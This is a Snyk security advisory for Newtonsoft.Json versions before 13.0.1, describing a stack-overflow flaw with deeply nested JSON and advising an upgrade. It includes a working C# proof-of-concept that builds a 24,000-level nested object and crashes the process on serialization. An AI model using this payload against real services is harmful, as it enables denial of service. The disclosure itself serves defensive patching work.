Insecure Defaults Affecting newtonsoft.json package, versions [,13.0.1)
Snyk CVSS
Attack Complexity
Low
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
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Test your applications- Snyk ID SNYK-DOTNET-NEWTONSOFTJSON-2774678
- published 24 Apr 2022
- disclosed 24 Apr 2022
- credit Gil Mirmovitch
How to fix?
Upgrade Newtonsoft.Json
to version 13.0.1 or higher.
Overview
Affected versions of this package are vulnerable to Insecure Defaults due to improper handling of StackOverFlow exception (SOE) whenever nested expressions are being processed.
PoC
using System;
using System.IO;
using System.Linq;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
namespace JsonTests
{
class Program
{
static void Main(string[] args)
{
//Create a string representation of a highly nested object (JSON serialized)
int nRep = 24000;
string json = string.Concat(Enumerable.Repeat("{a:", nRep)) + "1" +
string.Concat(Enumerable.Repeat("}", nRep));
//Parse this object (Parsing works well - no exception is being thrown)
var parsedJson = JObject.Parse(json);
using (var ms = new MemoryStream())
using (var sWriter = new StreamWriter(ms))
using (var jWriter = new JsonTextWriter(sWriter))
{
//Trying to serialize the object will result in StackOverflowException !!!
parsedJson.WriteTo(jWriter);
}
//ToString throws StackOverflowException as well (ToString is very unefficient - even for smaller payloads, it will occupy a lot of CPU & Memory)
//parsedJson.ToString();
//JsonConvert.SerializeObject throws StackOverflowException as well
//string a = JsonConvert.SerializeObject(parsedJson);
}
}
}